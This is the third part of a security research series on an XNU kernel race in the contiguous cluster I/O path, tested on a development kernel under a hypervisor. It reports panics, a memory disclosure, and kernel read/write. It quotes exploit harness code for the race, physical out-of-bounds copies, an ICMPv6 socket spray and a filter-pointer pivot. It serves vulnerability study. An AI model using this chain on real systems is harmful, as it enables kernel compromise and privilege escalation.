Introduction

Part 2 ended in the source. The XNU cluster layer measures a property of the object behind a user buffer, releases the lock that made the measurement meaningful, and later builds a whole transfer on the strength of the measurement alone. Every claim in that post was checked against the tree, and the mechanism was followed line by line, but a mechanism read is not a mechanism watched. This part makes a kernel answer for the structure: it boots a kernel built from the analyzed tree, reaches the contiguous strategy from an ordinary unprivileged process, loses the race on purpose, and records what happens.

The lab went in two steps, and the order matters. The first harness lost the race on purpose and produced a deliberate kernel panic in one direction and a genuine kernel memory disclosure in the other. The harness built afterwards carried the socket stages through to a kernel read and write, verified behaviorally end to end. This post reports those results with the strength of each observation stated, then walks the stages of the chain with the code that implements them, because the observations are hard to interpret without that skeleton.

What this post is: the lab, the vulnerability restated from the source with the pieces of code that matter for what follows, the stages of the chain illustrated by the kernel source and by the lab’s own harness, the observations and how firmly each is established, and a conclusion across the three parts. What it is not: a reproduction on a shipping device, or a complete chain; the slide was bypassed with the lab’s known base and cleanup was never run. The kernel source is quoted as in parts 1 and 2, and so is the harness, the C code of the exercises, whose constants are the lab’s own, tuned to this one development kernel. The ClearSword write-up by Clarity (therealclarity.github.io, last updated July 25, 2026) remains the published end-to-end walkthrough and the reference for the few claims the tree cannot check (not verified in the tree); nothing is copied from it.

Three kinds of statement run through the post, labeled as such: what the source says, what the lab observed, and what is inference. Where a claim rests on one run only, or on a run without a log behind it, the post says so.

The lab

The host is an M1 desktop machine running Asahi Linux. On top of it, the m1n1 hypervisor boots the target as a guest: a development build of XNU for that SoC, running a macOS 14.1 userland, built from the source tag this series cites. The match was confirmed the hard way, in the guest’s kernel version string printed inside the first panic log. A development kernel is the right first target for three reasons: it is built from the tree the analysis read, so a breakpoint lands on the exact lines the posts cite; it keeps its assertions and its symbols; and a panic costs a guest reboot of seconds rather than a device.

The development XNU kernel runs as a guest of the m1n1 hypervisor on an Asahi Linux host, reached by debugger, serial console and SSH.

Three channels connect the Linux host to the guest (the launch and patch scripts are in the tree). The debugger attaches over the hypervisor’s debug link with the symbols of the matching kernel debug kit, so a breakpoint on cluster_write_contig resolves to a source line of vfs_cluster.c. A serial console carries the kernel’s print output and, importantly, the panic log: when the guest dies, the evidence arrives as text on a terminal of the host, with no working system needed to read it. SSH reaches the guest’s userland, where a compiler and the userland frameworks are available, so the harnesses are built and run on the target itself.

Two boot conveniences matter for honesty about what was measured. AMFI is disabled at boot, so unsigned test binaries run. And a load-time patch script, present in the tree, neutralizes the task_for_pid family of checks and writes the kernel base into a sysctl-readable string, which hands the later exercises a ready-made task port and a free KASLR answer. Neither touches the bug: the trigger reaches the contiguous path through ordinary file I/O on its own memory, and wherever a result below leans on a shortcut, the text says so.

The two harnesses live in the tree as exercises. The first, DontPanic, loses the race blindly in both directions; it produced the panic and the blind leak, and the logs of both runs are kept. The second, KernelRW, implements the socket stages and the two closing checks. Its run was not logged: the earlier write-up still lists its stages as remaining work, and its outcome, a kernel read and write, is reported in this post by the lab alone. Their code is quoted in the stages below; the code is in the tree. The caveat is the one part 2 raised: a development kernel for a desktop SoC under a hypervisor is not a shipping iOS kernel, and the conclusion carries that caveat.

With the terrain described, the next section restates what the source says is being raced, with the code the rest of the post leans on.

The vulnerability, from the source

This section is what the source says. Every reference is verified in the tree at xnu-10002.41.9, and the parts quoted in part 2 are not requoted here.

The decision first. An uncached request aimed at a user buffer is classified before it moves: cluster_io_type asks the VM layer one question, calling vm_map_get_upl under UPL_QUERY_OBJECT_TYPE, and under the map read lock vm_map_create_upl reads the object’s private and phys_contiguous bits, translates them into UPL_DEV_MEMORY and UPL_PHYS_CONTIG, drops the lock and returns (osfmk/vm/vm_pageout.c:6712-6725). Contiguity becomes the strategy integer IO_CONTIG and dispatches to cluster_write_contig or cluster_read_contig (bsd/vfs/vfs_cluster.c:5673-5679, 2611). From that point the answer is a premise, and part 2 followed what the transfer does on its strength: the physical base comes from page 0 of the page list alone, and the head and tail pieces advance it by addition through cluster_align_phys_io and copypv (bsd/vfs/vfs_cluster.c:3164-3188, 6663; osfmk/arm64/loose_ends.c:812).

The piece of code part 2 described but did not quote is the one the whole fix turns on. The creation call, the second vm_map_get_upl inside the contiguous functions, does not only build the page list. It also writes the type bits of the object it actually used back through the caller’s flags pointer, under the same lock acquisition that found that object:

	if (VME_OBJECT(entry)->private) {
		*flags = UPL_DEV_MEMORY;
	} else {
		*flags = 0;
	}

	if (VME_OBJECT(entry)->phys_contiguous) {
		*flags |= UPL_PHYS_CONTIG;
	}

(osfmk/vm/vm_pageout.c:7059-7067.) Read together with the transfer, this is the missing check in its exact shape: the kernel computes, at the point of use, whether the object it is about to walk is still contiguous, hands the answer to the only code that could act on it, and that code never reads the variable. The fix, as described in part 2 from ClearSword, tests these bits right after the creation call and fails the request before any copy if UPL_PHYS_CONTIG is absent (not verified in the tree).

The second piece is the copy itself, the line pair that decides which direction damages what. Inside cluster_align_phys_io, the file’s cache page is at ubc_paddr and the caller’s computed address, the running sum from the base, is at usr_paddr:

	if (flags & CL_READ) {
		copypv(ubc_paddr, usr_paddr, xsize, 2 |        1 |        4);           /* Copy physical to physical and flush the destination */
	} else {
		copypv(usr_paddr, ubc_paddr, xsize, 2 |        1 |        8);           /* Copy physical to physical and flush the source */
	}

(bsd/vfs/vfs_cluster.c:6735-6741, commented-out prototypes removed.) The source and the destination swap on one flag. In the read direction, CL_READ, the copy goes from the file’s page to the computed address: file data lands in whatever physical memory the running sum points at. In the write direction, the copy goes from the computed address into the file’s page: whatever physical memory the running sum points at is copied out and stored in a file. These two lines are the corruption and the disclosure of part 2, and everything the lab observed is one of them.

Where does an unprivileged process get a phys_contiguous object in the first place? Part 1 followed the route: a memory descriptor covering a single physical range passes DEVICE_PAGER_CONTIGUOUS to the device pager (iokit/Kernel/IOMemoryDescriptor.cpp:749-757), and the pager sets the object’s bits when the VM layer attaches it:

	vm_object->private = TRUE;
	if (device_object->flags & DEVICE_PAGER_CONTIGUOUS) {
		vm_object->phys_contiguous = TRUE;
	}

(osfmk/vm/device_vm.c:273-276.) The superpage route is dead on arm64 (osfmk/vm/vm_map.c:2503-2521; osfmk/arm/pmap/pmap.h:270), so on this target the device pager is the only live route. Its userland front end is the IOSurface interface, which is not in the public tree: with the right dictionary it returns graphics memory from a named physically contiguous region, the one the in-the-wild chain used (not verified in the tree). Contiguity is therefore a property an ordinary process can legitimately acquire, which is exactly why the kernel must treat it as volatile: anything acquired at one instant can be replaced at the next.

And that is the race. Between the query’s release of the map lock (osfmk/vm/vm_pageout.c:6725) and the creation call’s fresh lookup (osfmk/vm/vm_pageout.c:6690), the path holds no lock on the map, and the map belongs to the task. A second thread of the same process can replace the object behind the buffer’s address with mach_vm_map under the fixed and overwrite flags. The substitution itself is not the race: the overwrite path of vm_map_enter removes and replaces entries inside a single hold of the map lock, so an observer holding the lock never sees a half-replaced mapping (osfmk/vm/vm_map.c:2813-2840). The race is won in the consumer’s gap, on the stale strategy integer.

The window is not drawn here; part 2 (post2-the-bug) describes it.

One thing the source cannot give and the lab did not directly measure is the interval itself. A swap before the query makes the request classify IO_DIRECT or IO_COPY; a swap after the creation call leaves the page list describing the contiguous object; both are harmless. That the winning swaps landed inside is inference throughout: the lab observed the effects, never a trace of the interval. The next section gives the shape of the chain, stage by stage, with the harness that implemented it.

How the exploit is structured

Each stage below is its own subsection, described with the code that implements it: the kernel side from the tree, the userland side from the second exercise’s harness. Where the lab exercised a stage, the subsection says so.

The contiguous buffer

The process obtains graphics-region memory from the IOSurface interface, wraps it in a named memory entry, and maps the entry elsewhere. The harness does all three in one function:

kern_return_t create_physically_contiguous_mapping(uint64_t *port, mach_vm_address_t *addr, mach_vm_size_t size) {
    CFMutableDictionaryRef dict = CFDictionaryCreateMutable(
        kCFAllocatorDefault, 0,
        &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
    CFNumberRef cf_number = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &size);
    CFDictionarySetValue(dict, kIOSurfaceAllocSize, cf_number);
    CFDictionarySetValue(dict, CFSTR("IOSurfaceMemoryRegion"), CFSTR("PurpleGfxMem"));

    IOSurfaceRef surface = IOSurfaceCreate(dict);
    CFRelease(dict);
    ...
    mach_vm_address_t base = (mach_vm_address_t)IOSurfaceGetBaseAddress(surface);

    mach_port_t memory_object = MACH_PORT_NULL;
    kern_return_t kr = mach_make_memory_entry_64(mach_task_self(), &size, base,
                         VM_PROT_DEFAULT, &memory_object, MACH_PORT_NULL);
    ...
    mach_vm_address_t new_mapping_address = 0;
    kr = mach_vm_map(mach_task_self(), &new_mapping_address, size, 0,
                     VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR,
                     memory_object, 0, false,
                     VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
    ...
    *port = memory_object;
    *addr = new_mapping_address;
    return KERN_SUCCESS;
}

(KernelRW.c, create_physically_contiguous_mapping, error branches removed.) The dictionary asks the IOSurface interface for memory from the region named PurpleGfxMem, the region the in-the-wild chain used; the surface’s backing is that region; mach_make_memory_entry_64 wraps the surface’s range in a named entry, a handle on the vm_object itself; and mach_vm_map maps the entry at a fresh address. Contiguity travels with the object, so the new mapping answers the query with UPL_PHYS_CONTIG. The returned handle matters as much as the address: every attempt must remap it over the buffer before the next round, or the next round’s query stops answering IO_CONTIG and the loop quietly dies. The lab proved the stage directly: a breakpoint on cluster_write_contig hit for an uncached write from the graphics-region mapping, the file size the stop reported matching the staged write, while a plain surface-backed mapping classified IO_DIRECT and never hit it.

The race window

Two threads of one process share a small page of atomic words and run a one-bit handshake on it:

struct shared_mem {
    atomic_uint_least64_t free_thread_start_ptr;
    atomic_uint_least64_t free_target_sync_ptr;
    atomic_uint_least64_t free_target_size_sync_ptr;
    atomic_uint_least64_t target_object_sync_ptr;
    atomic_uint_least64_t target_object_offset_sync_ptr;
    atomic_uint_least64_t go_sync_ptr;
    atomic_uint_least64_t race_sync_ptr;
};

(KernelRW.h.) The main thread publishes the buffer’s address and size once, publishes a target object per round, and raises a round flag; the racer waits for the words to change, so the handshake needs no lock and no timing. The racer’s whole body is one call, made over and over at the published address:

void racer(struct shared_mem *mem) {

	cmp8_wait_for_change(&mem->free_thread_start_ptr, 0);

	uint64_t free_target = atomic_load(&mem->free_target_sync_ptr);
	uint64_t free_target_size = atomic_load(&mem->free_target_size_sync_ptr);

	cmp8_wait_for_change(&mem->go_sync_ptr, 0);
	while (atomic_load(&mem->go_sync_ptr) != 0)
	{
		cmp8_wait_for_change(&mem->race_sync_ptr, 0);

		uint64_t target_object = atomic_load(&mem->target_object_sync_ptr);
		uint64_t target_object_offset = atomic_load(&mem->target_object_offset_sync_ptr);

		int kr = mach_vm_map(mach_task_self(),
							&free_target,
							free_target_size,
							0,
							VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
							target_object,
							target_object_offset,
							0,
							VM_PROT_DEFAULT,
							VM_PROT_DEFAULT,
							VM_INHERIT_NONE);

		...
		atomic_store(&mem->race_sync_ptr, 0);
	}
}

(Racer.c, racer, error branch removed; cmp8_wait_for_change spins until the word differs.) With a null object port the remap substitutes fresh anonymous memory at the buffer’s address; with a published entry it substitutes that object; either way the flags are the fixed and overwrite pair, and either way the substitution is atomic under one hold of the map lock, so it only matters if it lands inside the window. The descriptors carry F_NOCACHE so the request takes the uncached strategies of the cluster layer. A swap outside the window is a wasted round, and the race is replayed until one lands. The lab proved the window winnable only indirectly, through the effects of the next stages.

The out-of-bounds primitive

The buffer is placed so the transfer straddles the end of its first page: in the harness the vector starts a fixed distance before the page boundary, so the first block-sized piece of the transfer stays inside the page, legitimate, and the remainder, addressed by addition from the base, crosses onto the frame’s physical neighbor. The read loop shows the whole method in one function:

int physical_oob_read_mo(mach_port_t mo, uint64_t mo_offset, uint64_t size, uint64_t offset, void *buffer) {
    atomic_store(&thread_shm->target_object_sync_ptr,        mo);
    atomic_store(&thread_shm->target_object_offset_sync_ptr, mo_offset);

    struct iovec iov = { .iov_base = (void *)(pc_address + 0x3f00), .iov_len = offset + size };
    *(uint64_t *)buffer = mark;
    *(volatile uint64_t *)(pc_address + 0x3f00 + offset) = mark;

    int ret = -1;
    for (int t = 0; t < 500; t++) {
        atomic_store(&thread_shm->race_sync_ptr, 1);
        ssize_t w = pwritev(read_fd, &iov, 1, 0x3f00);
        cmp8_wait_for_change(&thread_shm->race_sync_ptr, 1);
        mach_vm_map(mach_task_self(), &pc_address, pc_size, 0,
                    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0, false,
                    VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        if (w == -1) {
            pread(read_fd, buffer, size, 0x3f00 + offset);
            if (*(uint64_t *)buffer != mark) { ret = 0; break; }
            usleep(1);
        }
    }

    atomic_store(&thread_shm->target_object_sync_ptr, 0);
    return ret;
}

(KernelRW.c, physical_oob_read_mo.) The function publishes the target entry, writes the marker twice, once into the recovery buffer and once into the memory the straddle will read, then replays the round: arm the racer, fire the write-to-file vector call, wait for the racer’s report, restore the contiguous object over the buffer. The error is the oracle: a round that walked the contiguous path and failed returns EINVAL with the bytes already transferred, so only a failing round can have moved the neighbor. On that failure the file is read back, and the round counts only if the read-back differs from the marker: the same page read back means the swap landed outside the window or the neighbor was the process’s own. The write twin stages the payload into the file first and races the read-from-file vector call, with nothing to detect:

    pwrite(write_fd, buffer, size, 0x3f00 + offset);

    for (int t = 0; t < 20; t++) {
        atomic_store(&thread_shm->race_sync_ptr, 1);
        preadv(write_fd, &iov, 1, 0x3f00);
        cmp8_wait_for_change(&thread_shm->race_sync_ptr, 1);
        mach_vm_map(mach_task_self(), &pc_address, pc_size, 0,
                    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0, false,
                    VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
    }

(KernelRW.c, physical_oob_write_mo, abridged.) The inversion sits in the syscall names, which take the file’s point of view, and it is the two copypv lines quoted in the source section: the write-to-file vector call makes memory the source, so it is the physical read, and the neighbor’s bytes land in the file, recoverable by the pread at the end of the loop; the read-from-file vector call makes memory the destination, so it is the physical write, and the bytes staged by the pwrite are stored into the neighbor. The lab used the returned error, plus the marker, as its only success signals, and never traced which branch inside the contiguous path produced the error.

The transfer straddles the end of the buffer’s first page: the write syscall makes memory the source, the read syscall its destination.

Locating and identifying a target

The neighbor is wherever the frame allocator put it, so the target has to be chosen by mass, not by address. The out-of-bounds primitive needs a kernel object that meets three conditions at once: the process must be able to allocate thousands of them, so one lands in the neighbor; the object must be recognizable in a leaked page; and once one is corrupted, it must be drivable from userland through ordinary, deterministic syscalls. Each raw ICMPv6 datagram socket gives all three: a spray of them fills the kernel’s zones with a structure that names itself, and that same structure carries the pointer the next subsection turns into the read and write. Each socket allocates a struct socket and a struct inpcb, and the inpcb carries exactly the fields the sweep needs: a public identity, a list position, and a back pointer to the socket.

A socket in kernel memory: the fileport, struct socket, struct inpcb with its fields, and the filter buffer the two options read and write.

	LIST_ENTRY(inpcb) inp_list;     /* list for all PCBs of this proto */
	struct inpcbinfo *inp_pcbinfo;  /* PCB list info */
	struct socket *inp_socket;      /* back pointer to socket */
	inp_gen_t inp_gencnt;           /* generation count of this instance */

(bsd/netinet/in_pcb.h:158-165, fields grouped.) The name and the counter give userland two independent handles on the object. The name, inp_last_proc_name (bsd/netinet/in_pcb.h:264), records the last process that touched the socket, so a leaked page containing the harness’s own executable name is a page from the spray. The counter is the stronger handle: it is assigned at insertion, monotonically,

	inp->inp_gencnt = ++pcbinfo->ipi_gencnt;
	LIST_INSERT_HEAD(pcbinfo->ipi_listhead, inp, inp_list);

(bsd/netinet/in_pcb.c:747-748.) and it is readable from userland through proc_info on the socket’s fileport, because the socket information call copies it out:

		insi->insi_gencnt = inp->inp_gencnt;

(bsd/kern/socket_info.c:136.) The harness’s spray function puts the three together:

mach_port_t spray_socket(void) {
    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
    if (fd == -1)
    {
        return MACH_PORT_NULL;
    }

    mach_port_t output_socket_port = MACH_PORT_NULL;
    fileport_makeport(fd, &output_socket_port);
    close(fd);

    char socket_info[0x400];
    syscall(336, 6, getpid(), 3, output_socket_port, socket_info, 0x400);
    uint64_t inp_gencnt = *(uint64_t *)(socket_info + 0x110);

    if (socket_ports_count < MAX_SOCKETS) {
        socket_ports[socket_ports_count]   = output_socket_port;
        socket_pcb_ids[socket_ports_count] = inp_gencnt;
        socket_ports_count++;
    }

    return output_socket_port;
}

(KernelRW.c, spray_socket.) Each socket is converted to a fileport so the descriptor can close while the handle survives, and the generation counter is harvested through the socket information call into the spray’s records, so an inpcb found later in leaked memory maps back to one specific socket.

Placement is steered by allocation order. The harness’s main loop wires large mappings so the kernel must give them real backing, sprays the sockets among them, then sweeps the neighbor of each candidate page:

        for (int s = 0; s < n_search; s++) {
            search_addr[s] = 0;
            mach_vm_allocate(mach_task_self(), &search_addr[s], search_mapping_size,
                             VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
            for (uint64_t k = 0; k < search_mapping_size; k += PAGE)
                *(uint64_t *)(search_addr[s] + k) = mark;

            mach_vm_size_t msz = search_mapping_size;
            mach_make_memory_entry_64(mach_task_self(), &msz, search_addr[s],
                                      VM_PROT_DEFAULT, &search_mo[s], MACH_PORT_NULL);

            wire_surf[s] = surface_mlock(search_addr[s], search_mapping_size);
        }

        socket_ports_count = 0;
        for (int i = 0; i < 3 * 10240 - 8192; i++)
            if (spray_socket() == MACH_PORT_NULL) break;
        ...
            for (uint64_t off = 0; off + pc_size <= search_mapping_size && !done; off += PAGE) {
                if (physical_oob_read_mo(search_mo[s], off, oob_size, oob_offset, read_buffer) != 0)
                    continue;
                if (find_and_corrupt_socket(search_mo[s], off, read_buffer, write_buffer, 0) == KERN_SUCCESS)
                    done = 1;
            }

(KernelRW.c, main, abridged; surface_mlock wraps the mapping in an IOSurface so its pages are made resident and wired.) A hit must hold the harness’s own executable name, the field signature of a fresh ICMPv6 socket, and a counter matching the spray’s records:

    int   icmp6filt_offset = 0x148;
    ...
    do {
      found = memmem((char *)read_buffer + search_start_idx, oob_size - search_start_idx, executable_name, strlen(executable_name));
      if (found != 0)
      {
        pcb_start_offset = ((char *)found - (char *)read_buffer) & 0xFFFFFFFFFFFFFC00;
        if (*(uint64_t *)((char *)read_buffer + pcb_start_offset + icmp6filt_offset + 0x8) == 0x0000ffffffffffff)
        {
          target_found = 1;
          break;
        }
      }
      search_start_idx += 0x400;
    } while (found != 0 && search_start_idx < oob_size);

    if (target_found == 1)
    {
        uint64_t target_inp_gencnt = *(uint64_t *)((char *)read_buffer + pcb_start_offset + 0x78);
        ...
        int control_socket_idx = -1;
        for (int i = 0; i < socket_ports_count; i++) {
            if (socket_pcb_ids[i] == target_inp_gencnt) { control_socket_idx = i; break; }
        }
        ...
        uint64_t inp_list_next_pointer = *(uint64_t *)((char *)read_buffer + pcb_start_offset + 0x28) - 0x20;

(KernelRW.c, find_and_corrupt_socket, abridged.) The name is searched in the leaked bytes and anchors the structure at a fixed alignment; the signature is the word just past the filter pointer, the checksum option and the hop limit, both set to minus one when the socket attaches (bsd/netinet6/icmp6.c:3319-3320) and followed by padding, a pattern only a freshly created ICMPv6 socket still carries; and the counter at its offset matches the found structure back to one socket of the spray. The insertion line quoted above settles which neighbor is useful: LIST_INSERT_HEAD puts each new inpcb at the head of the protocol’s list, so the list pointer inside the found structure identifies the adjacent newer socket, minus the field’s own offset; the list head itself is skipped, its back-pointer not pointing at an inpcb. The lab exercised the stage in full in this harness, in the run without a record; the observations below report it.

The leaked page holds two inpcbs: the found one, recognized by name, signature and counter, and the adjacent one its rewritten filter pointer aims at.

The pivot to a stable read and write

The reason the chain picks sockets is that the kernel already reads and writes through this pointer on its own, on every option call. A raw ICMPv6 socket’s inpcb holds a pointer to its filter buffer, in6p_icmp6filt (bsd/netinet/in_pcb.h:220-221, 518), and the socket options for ICMP6_FILTER move bytes through that pointer wholesale: a setsockopt copies the option’s bytes into whatever the pointer aims at, a getsockopt copies them back out, and neither call checks the aim. That trust is the pivot: aim the pointer at kernel memory once, and every later syscall moves kernel bytes, deterministically, with the race behind. The set side of the handler is short:

		case ICMP6_FILTER:
		{
			struct icmp6_filter *p;

			if (optlen != 0 && optlen != sizeof(*p)) {
				error = EMSGSIZE;
				break;
			}
			if (inp->in6p_icmp6filt == NULL) {
				error = EINVAL;
				break;
			}
			...
				error = sooptcopyin(sopt, inp->in6p_icmp6filt, optlen,
				    optlen);

(bsd/netinet6/icmp6.c:3109-3149, abridged; the get side is sooptcopyout on the same pointer.) The two calls move bytes through the pointer with no further validation, and the buffer they move is a fixed-size array of words:

struct icmp6_filter {
	u_int32_t icmp6_filt[8];
};

(bsd/netinet/icmp6.h:596-598.) The corruption turns two of the sprayed sockets into a master and its slave; the harness names them the control socket and the rw socket. The socket whose inpcb was found in the leaked page becomes the master, the control socket, the one that aims; the socket of the adjacent inpcb, the one the list pointer identified, becomes the slave, the rw socket, the one that moves the bytes. The harness changes exactly one word in its copy of the page, the master’s filter pointer, and aims it at the slave’s filter-pointer field; then the whole page goes back through a single out-of-bounds write, every other byte unchanged, so nothing else in the neighbor is touched:

        memcpy(write_buffer, read_buffer, oob_size);
        *(uint64_t *)((char *)write_buffer + pcb_start_offset + icmp6filt_offset)       = inp_list_next_pointer + icmp6filt_offset;
        *(uint64_t *)((char *)write_buffer + pcb_start_offset + icmp6filt_offset + 0x8) = 0;

        printf("[*] corruption de in6p_icmp6filt...\n");
        while (1) {
            physical_oob_write_mo(mo, seeking_offset, oob_size, oob_offset, write_buffer);
            physical_oob_read_mo_with_retry(mo, seeking_offset, oob_size, oob_offset, read_buffer);
            if (*(uint64_t *)((char *)read_buffer + pcb_start_offset + icmp6filt_offset) == inp_list_next_pointer + icmp6filt_offset)
                break;
        }
        ...
        int sock = fileport_makefd(socket_ports[control_socket_idx]);
        char getsockopt_read_data[EARLY_KRW_LENGTH];
        socklen_t len = EARLY_KRW_LENGTH;
        if (getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockopt_read_data, &len) != 0)
            return -1;

        uint64_t marker = *(uint64_t *)getsockopt_read_data;
        if (marker != 0xffffffffffffffffULL) {
            control_socket = sock;
            rw_socket      = fileport_makefd(socket_ports[control_socket_idx + 1]);
            ...
        }

(KernelRW.c, find_and_corrupt_socket, abridged.) The loop writes the page and reads it back through the race until the aimed pointer reads as written, and the last check is behavioral: a getsockopt on the master returns whatever its filter pointer aims at, a normal filter buffer is all ones, so anything else proves the pointer now aims at the slave’s filter field.

From then on the race is over, and two ordinary syscalls do all the work. The mechanism is two pointers used in turn. The master’s filter pointer is the corrupted one: a setsockopt on the master copies its buffer through that pointer, and the buffer lands on the slave’s filter-pointer field, so the first word of the option data becomes the slave’s filter pointer. That is the aiming step, the master choosing where the slave will work. The slave’s filter pointer is then whatever address the master last wrote: a getsockopt on the slave copies one filter’s worth of bytes out of that address, a setsockopt on the slave copies one filter’s worth into it. The master aims, the slave moves bytes: that is the whole primitive.

The master’s corrupted pointer aims at the slave’s filter field: the master’s option sets the address, the slave’s options read and write there.

It has the standard names: the slave’s getsockopt is an arbitrary address read, an AAR, and its setsockopt an arbitrary address write, an AAW, each call moving the 32 bytes of struct icmp6_filter quoted above, at whatever kernel address the master last chose. The three wrappers say it in code:

static void setKernAddr(uint64_t where) {
    char control_data[EARLY_KRW_LENGTH];
    memset(control_data, 0, sizeof control_data);
    memcpy(control_data, &where, 8);
    setsockopt(control_socket, IPPROTO_ICMPV6, ICMP6_FILTER, control_data, EARLY_KRW_LENGTH);
}

static int kernel_read(uint64_t where, void *out, uint64_t size) {
    setKernAddr(where);
    socklen_t len = size;
    return getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, out, &len);
}

uint64_t kernel_read64(uint64_t kaddr) {
    uint64_t v = 0;
    kernel_read(kaddr, &v, 8);
    return v;
}

void kernel_write64(uint64_t kaddr, uint64_t val) {
    uint8_t buf[EARLY_KRW_LENGTH];
    if (kernel_read(kaddr, buf, sizeof buf) != 0)
        return;
    memcpy(buf, &val, 8);
    setKernAddr(kaddr);
    setsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, buf, EARLY_KRW_LENGTH);
}

(KernelRW.c.) The granularity is those 32 bytes, so narrower writes are read-modify-write, which is what kernel_write64 does: read the whole filter, replace one word, write it back, because a raw option write would clobber the neighboring words. The diagram below draws the two hops on memory with fictional base addresses; the one real number in it is the filter pointer’s offset, the harness’s own.

The cascade with fictional addresses: the master’s pointer at 0x1148 holds the slave’s field 0x2148, whose value 0x5000 the slave’s options read and write.

The kernel base and slide

The chain derives the base from objects it already holds: from the corrupted inpcb a hop to its inpcbinfo, a hop to the zone that allocates inpcbs, ipi_zone (bsd/netinet/in_pcb.h:610), a hop to the zone view’s name string, zv_name, inside the kernel’s text (osfmk/kern/zalloc.h:531), then a page-by-page walk back to the kernelcache header; the slide is the difference from the static base. The lab did not re-derive this: the boot patch had exposed the base, so the walk became a verification of the read primitive at the known base, a deliberate use of the shortcuts, the point being to prove the primitive rather than re-derive what the chain already demonstrates; the earlier runs predate that one and are not logged. The harness’s closing checks are one per direction:

    uint64_t magic = kernel_read64(g_kbase);
    if (magic == 0x0100000cfeedfacfULL)
        success("[rw] OK  kbase=0x%llx magic=0x%llx", g_kbase, magic);
    else
        fail("[rw] KO  relu 0x%llx (attendu 0x0100000cfeedfacf)", magic);

    kernel_write64(SYM_osreleasetype, 0x3134613152335430ULL);
    success("[kwrite] _osreleasetype ecrit -> verifie avec: sysctl kern.osreleasetype");

    getchar();

(KernelRW.c, main, abridged; the symbol constant is the lab’s own, resolved against the known base.) The read returns the kernel header’s magic at the base, and the write stamps a recognizable marker into a sysctl-readable string; the harness prints the instruction for the read-back, and the lab read the marker back through sysctl by hand. Arbitrary kernel read and write, both checks closing the harness; the outcomes belong to the run without a record, and the observations below report them as such. Then the harness parks instead of exiting.

Cleanup

The corrupted sockets must never be freed: on exit the descriptors close and the kernel tears down the inpcbs, including one whose filter pointer points into another socket and one pointing wherever the last read left it; freeing either is a leak at best and a wild dereference at worst. The chain’s answer rests on two adjacent counters in struct socket:

	int             so_usecount;    /* refcounting of socket use */
	int             so_retaincnt;

(bsd/sys/socketvar.h:300-301.) Because the two fields sit side by side, a single write through the arbitrary write bumps both, and the sockets never die: the reference counts stay nonzero no matter how often the descriptors are closed, so the memory is never returned to the zones. After that the race descriptors are closed and the mappings released. The lab did not exercise this stage: the harness parks instead of exiting, and the teardown path was never run; what freeing these sockets would do is untested.

That is the chain. The next section reports what of it the lab actually saw, and how firmly.

What was observed, and how strongly

The observations and the status each carries, as the paragraphs below state them:

Observation Status
Reachability of the contiguous strategy Observed
A winnable window Inference, from effects
The read side corrupts live kernel memory Observed
The failing call errors after the transfer Observed in that run’s log
The write side discloses foreign kernel memory Observed
A stable kernel read and write Observed on several runs (lab account)
Reliability Not measured as a rate; the race is not deterministic

Reachability of the contiguous strategy. Observed: the breakpoint on cluster_write_contig hit for an uncached write from the graphics-region mapping, the file size the stop reported matching the staged write, and not for a plain surface-backed mapping. Strong for this build, since the source route agrees; silent about shipping kernels.

A winnable window. Inference, from effects: the only evidence that a swap landed between the two calls is that the transfers afterwards moved bytes that did not belong to the buffer. No run traced the interval. The source structure makes the inference sound; it stays an inference.

The read side corrupts live kernel memory. Observed: a data abort whose faulting address was built from the staged fill pattern, the backtrace running through the coprocessor messaging driver’s kext, so the neighbor frame belonged to one of its objects; a nested panic with a damaged zone integrity marker, a sign the copy widened past one pointer. Strong for the claim that the transfer wrote controlled bytes into a live kernel structure; the victim’s identity is inference from the backtrace.

The failing call errors after the transfer. Observed in that run’s log: EINVAL after the out-of-bounds copy, the ordering part 2 derived from the source. Which branch produced the code was never traced; the source offers at least two candidates, the alignment branch and a short page list, and ClearSword attributes it to the alignment branch (not verified in the tree). The lab treated the error as an empirical oracle only.

The write side discloses foreign kernel memory. Observed: after the detector converged, a round returned a page the process had never written, fixed-size records with a monotonically increasing counter, consistent with the shape of inp_gencnt-carrying structures, and no kernel pointer anywhere in it. Strong for the claim that a foreign kernel page was disclosed into the file; the record shape is inference, the page was never attributed to an owner, and it yielded no slide.

A stable kernel read and write. Observed on several runs (lab account): the read at the known base returned the kernel header’s magic, and writing the kernel’s osreleasetype string, as in the fourth exercise, was read back through sysctl kern.osreleasetype. The slide came from the lab’s known base rather than from a derivation. Strong for this build.

Reliability. The race is not deterministic. A single attempt can take several minutes, and the kernel read and write were reached on several runs. No success rate was measured: attempt counts were not kept, so no figure is given.

Conclusion

Three posts, one thread. Part 1 built the model: an address means memory only through the map, entries point at objects, objects own pages, a device object can describe its memory as a base and a size, and a page list is a snapshot of what the I/O code found when it asked. Part 2 asked the question that model invites: if the mapping at an address changes after the kernel has checked what kind of memory lies behind it, but before it uses the answer, which layer notices. None does. The decision travels as a strategy integer, no lock connects the query to the use, and the type bits the second call writes back go unread. Part 3 made a kernel say it out loud: the same tree, booted as a development guest, the race lost on purpose, first a panic, then a blind disclosure, then, through the socket stages of the second harness, a kernel read and write reported by the lab.

What the series taught, in the order it taught it. A fast path is a bet that a property holds, and its safety is exactly the moment the property is revalidated; the contiguous optimization bet on physical contiguity, never revalidated it, and the stale strategy integer carried the bet past the gap. One bug gave two primitives because a single flag picks the copy direction: the same blind walk past the frame’s neighbor discloses into a file one way and corrupts from it the other. And a mechanism read is not a mechanism watched: the source said exactly what the lab then saw, but only the lab showed which parts of the chain are structurally hard, the neighbor nobody chooses, the detector that can hunt its own data, the placement that only allocation order steers, and which parts take nothing but patience.

